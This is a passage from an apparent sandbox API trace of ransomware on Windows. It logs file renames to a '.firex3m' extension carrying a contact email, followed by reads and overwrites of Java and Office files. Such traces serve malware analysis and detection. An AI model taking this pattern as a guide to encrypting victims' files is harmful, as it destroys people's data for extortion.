[0128.625] WriteFile (in: hFile=0x718, lpBuffer=0x6e8ce0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e8ce0*, lpNumberOfBytesWritten=0x4fbff0c*=0xa0, lpOverlapped=0x0) returned 1 [0128.625] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.625] WriteFile (in: hFile=0x718, lpBuffer=0x6e8d7f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e8d7f*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.625] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.625] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0128.625] CloseHandle (hObject=0x718) returned 1 [0128.626] GetProcessHeap () returned 0x630000 [0128.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ce0 | out: hHeap=0x630000) returned 1 [0128.626] GetProcessHeap () returned 0x630000 [0128.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0128.626] GetProcessHeap () returned 0x630000 [0128.626] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0128.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x129ceb8f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x4fbfd20, dwReserved1=0x6e8730, cFileName="win32_CopyDrop32x32.gif.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WI8B18~1.FIR")) returned 0x6d5200 [0128.626] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0128.626] Sleep (dwMilliseconds=0x1) [0128.716] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf", len=0x43 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 1 [0128.717] GetProcessHeap () returned 0x630000 [0128.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xb0) returned 0x66a3e0 [0128.717] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0128.717] CloseHandle (hObject=0x688) returned 1 [0128.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4d9c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaSansDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LUCIDA~4.FIR")) returned 0x6d4f80 [0128.718] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0128.719] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0128.719] GetProcessHeap () returned 0x630000 [0128.719] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1d1d8 [0128.719] GetProcessHeap () returned 0x630000 [0128.719] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7162868 [0128.719] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.719] ReadFile (in: hFile=0x688, lpBuffer=0x6f1d1d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1d1d8*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0134.894] GetProcessHeap () returned 0x630000 [0134.894] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0134.895] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.895] WriteFile (in: hFile=0x688, lpBuffer=0x7162868*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7162868*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0134.895] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.895] WriteFile (in: hFile=0x688, lpBuffer=0x716dc67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x716dc67*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.836] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.837] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.855] CloseHandle (hObject=0x688) returned 1 [0138.580] GetProcessHeap () returned 0x630000 [0138.580] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7162868 | out: hHeap=0x630000) returned 1 [0138.580] GetProcessHeap () returned 0x630000 [0138.580] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1d1d8 | out: hHeap=0x630000) returned 1 [0138.586] GetProcessHeap () returned 0x630000 [0138.586] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0138.586] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x188b44b4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4d9ec, dwReserved0=0xbd47496, dwReserved1=0x6f1d1d0, cFileName="LucidaSansDemiBold.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LUCIDA~4.FIR")) returned 0x6d5000 [0138.586] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0138.586] Sleep (dwMilliseconds=0x1) [0139.979] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms", len=0x54 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 1 [0139.979] GetProcessHeap () returned 0x630000 [0139.979] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c58) returned 0x7203db8 [0139.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0142.436] CloseHandle (hObject=0x714) returned 1 [0142.438] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.828] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.828] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe415a524, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe415a524, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe423f37b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d69, dwReserved0=0x4708fdb2, dwReserved1=0x690066, cFileName="HomeBusinessR_Trial2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOF6EA~1.FIR")) returned 0x6d5040 [0143.828] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0143.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0143.828] GetProcessHeap () returned 0x630000 [0143.828] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d81) returned 0x6fd2f28 [0143.829] GetProcessHeap () returned 0x630000 [0143.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d81) returned 0x6fd5cb8 [0143.829] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.829] ReadFile (in: hFile=0x714, lpBuffer=0x6fd2f28, nNumberOfBytesToRead=0x2d60, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd2f28*, lpNumberOfBytesRead=0x4fbff0c*=0x2d60, lpOverlapped=0x0) returned 1 [0145.571] GetProcessHeap () returned 0x630000 [0145.571] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0145.571] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.571] WriteFile (in: hFile=0x714, lpBuffer=0x6fd5cb8*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd5cb8*, lpNumberOfBytesWritten=0x4fbff0c*=0x2d60, lpOverlapped=0x0) returned 1 [0145.956] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.956] WriteFile (in: hFile=0x714, lpBuffer=0x6fd8a17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd8a17*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.956] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.956] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.956] CloseHandle (hObject=0x714) returned 1 [0145.957] GetProcessHeap () returned 0x630000 [0145.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd5cb8 | out: hHeap=0x630000) returned 1 [0145.957] GetProcessHeap () returned 0x630000 [0145.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fd2f28 | out: hHeap=0x630000) returned 1 [0145.957] GetProcessHeap () returned 0x630000 [0145.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0145.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe415a524, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe415a524, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cf1ccc0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d8d, dwReserved0=0xbd47496, dwReserved1=0x6fd2f20, cFileName="HomeBusinessR_Trial2-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOF6EA~1.FIR")) returned 0x6d5280 [0145.957] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0145.957] Sleep (dwMilliseconds=0x1) [0146.023] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL", len=0x41 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL") returned 1 [0146.023] GetProcessHeap () returned 0x630000 [0146.023] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2740) returned 0x71f7c78 [0146.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0146.102] CloseHandle (hObject=0x6f4) returned 1 [0146.102] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0146.102] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.102] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1cac944, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1cac944, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x46d8311, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x10880, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORGCHA~1.FIR")) returned 0x6d5280 [0146.103] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0146.103] GetProcessHeap () returned 0x630000 [0146.103] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f1c300 [0146.104] GetProcessHeap () returned 0x630000 [0146.104] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f06978 [0146.108] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.196] ReadFile (in: hFile=0x6f4, lpBuffer=0x6f1c300, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f1c300*, lpNumberOfBytesRead=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.219] GetProcessHeap () returned 0x630000 [0153.219] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0153.219] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.219] WriteFile (in: hFile=0x6f4, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x4fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0153.219] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.219] WriteFile (in: hFile=0x6f4, lpBuffer=0x6f11d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f11d77*, lpNumberOfBytesWritten=0x4fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0153.219] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.220] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0153.220] CloseHandle (hObject=0x6f4) returned 1 [0153.222] GetProcessHeap () returned 0x630000 [0153.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0153.222] GetProcessHeap () returned 0x630000 [0153.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f1c300 | out: hHeap=0x630000) returned 1 [0153.222] GetProcessHeap () returned 0x630000 [0153.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0155.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfcc4 | out: lpFindFileData=0x4fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1cac944, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1cac944, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x21457be5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x108a4, dwReserved0=0xbd47496, dwReserved1=0x6f1c2f8, cFileName="ORGCHART.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORGCHA~1.FIR")) returned 0x6d5280 [0155.504] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.504] Sleep (dwMilliseconds=0x1) [0155.529] SysReAllocStringLen (in: pbstr=0x4fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\PowerViewRes.de.xap", len=0x65 | out: pbstr=0x4fbff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\PowerViewRes.de.xap") returned 1 [0155.529] GetProcessHeap () returned 0x630000 [0155.529] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b50) returned 0x707d3d0 [0155.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\PowerViewRes.de.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\de\\powerviewres.de.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0155.536] CloseHandle (hObject=0x6d8) returned 1 [0155.536] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.536] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\PowerViewRes.de.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\de\\powerviewres.de.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\PowerViewRes.de.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\de\\powerviewres.de.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.538] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\de\\PowerViewRes.de.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4fbfc6c | out: lpFindFileData=0x4fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x502f9, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.de.xap.id-1998248312_[contact-support@elude.in].firex3m", 